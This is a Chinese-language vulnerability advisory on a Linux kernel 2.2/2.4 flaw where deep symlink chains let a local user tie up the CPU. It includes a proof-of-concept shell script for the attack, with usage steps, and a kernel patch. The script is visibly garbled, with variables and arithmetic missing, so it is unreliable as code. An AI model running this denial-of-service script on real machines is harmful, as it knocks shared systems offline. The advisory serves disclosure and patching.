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发布日期: 2001-10-18
更新日期: 2001-10-19
受影响的系统:
Linux kernel 2.2.x, x<=19
Linux kernel 2.4.y, y<=9
不受影响系统:
Linux kernel 2.4.12
描述:
Linux kernel的某些版本中存在一个漏洞，当处理一个深层链接的目录时，将消耗大量的CPU时间，其他进程将无法继续运行。这可能允许本地攻击者进行拒绝服务攻击。
<*来源：Rafal Wojtczuk (nergal@7bulls.com)
链接：http://archives.neohapsis.com/archives/bugtraq/2001-10/0135.html*>
测试程序：
警告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Rafal Wojtczuk (nergal@7bulls.com)提供了如下测试代码：
*** mkdir.sh ***
#!/bin/sh
# by Nergal
mklink()
{
IND=
NXT=99 99(+1))
EL=l/../
P=""
I=0
while [ -lt ] ; do
P=""
I=99 99(+1))
done
ln -s ""l l
}
#main program
if [ != 1 ] ; then
echo A numerical argument is required.
exit 0
fi
ELNUM=
mklink 4
mklink 3
mklink 2
mklink 1
mklink 0 /../../../../../../../etc/services
mkdir l5
mkdir l
攻击者可以通过mkdir.sh 120来创建120层目录，然后调用'head l0'命令来进行攻击。
建议:
厂商补丁：
Linux kernel 2.4.12已经解决了这一问题，您可以在厂商主页下载最新升级版本：http://www.kernel.org/pub/linux/kernel/v2.4/linux-2.4.12.tar.gz
对于Linux kernel 2.2.19, Rafal Wojtczuk (nergal@7bulls.com)提供了如下补丁：
--- linux-2.2.19/fs/namei.c.orig Wed Oct 10 09:31:37 2001
+++ linux-2.2.19/fs/namei.c Wed Oct 10 10:30:56 2001
@@ -277,6 +277,15 @@
result->d_op->d_revalidate(result, flags);
return result;
}
+/*
+ * Yes, this really increments the link_count by 5, and
+ * decrements it by 4. Together with checking against 25,
+ * this limits recursive symlink follows to 5, while
+ * limiting consecutive symlinks to 25.
+ *
+ * Without that kind of total limit, nasty chains of consecutive
+ * symlinks can cause almost arbitrarily long lookups.
+ */
static struct dentry * do_follow_link(struct dentry *base, struct dentry *dentry, unsigned int follow)
{
@@ -284,13 +293,17 @@
if ((follow & LOOKUP_FOLLOW)
&& inode && inode->i_op && inode->i_op->follow_link) {
- if (current->link_count < 5) {
+ if (current->link_count < 25) {
struct dentry * result;
- current->link_count++;
+ if (current->need_resched) {
+ current->state = TASK_RUNNING;
+ schedule();
+ }
+ current->link_count += 5;
/* This eats the base */
- result = inode->i_op->follow_link(dentry, base, follow);
- current->link_count--;
+ result = inode->i_op->follow_link(dentry, base, follow|LOOKUP_INSYMLINK);
+ current->link_count -= 4;
dput(dentry);
return result;
}
@@ -324,6 +337,8 @@
struct dentry * dentry;
struct inode *inode;
+ if (!(lookup_flags & LOOKUP_INSYMLINK))
+ current->link_count=0;
if (*name == '/') {
if (base)
dput(base);
--- linux-2.2.19/include/linux/fs.h.orig Wed Oct 10 10:06:41 2001
+++ linux-2.2.19/include/linux/fs.h Wed Oct 10 10:07:58 2001
@@ -872,6 +872,7 @@
#define LOOKUP_DIRECTORY (2)
#define LOOKUP_SLASHOK (4)
#define LOOKUP_CONTINUE (8)
+#define LOOKUP_INSYMLINK (16)
extern struct dentry * lookup_dentry(const char *, struct dentry *, unsigned int);
extern struct dentry * __namei(const char *, unsigned int);
您需要重新编译并替换原有内核，重新启动系统。
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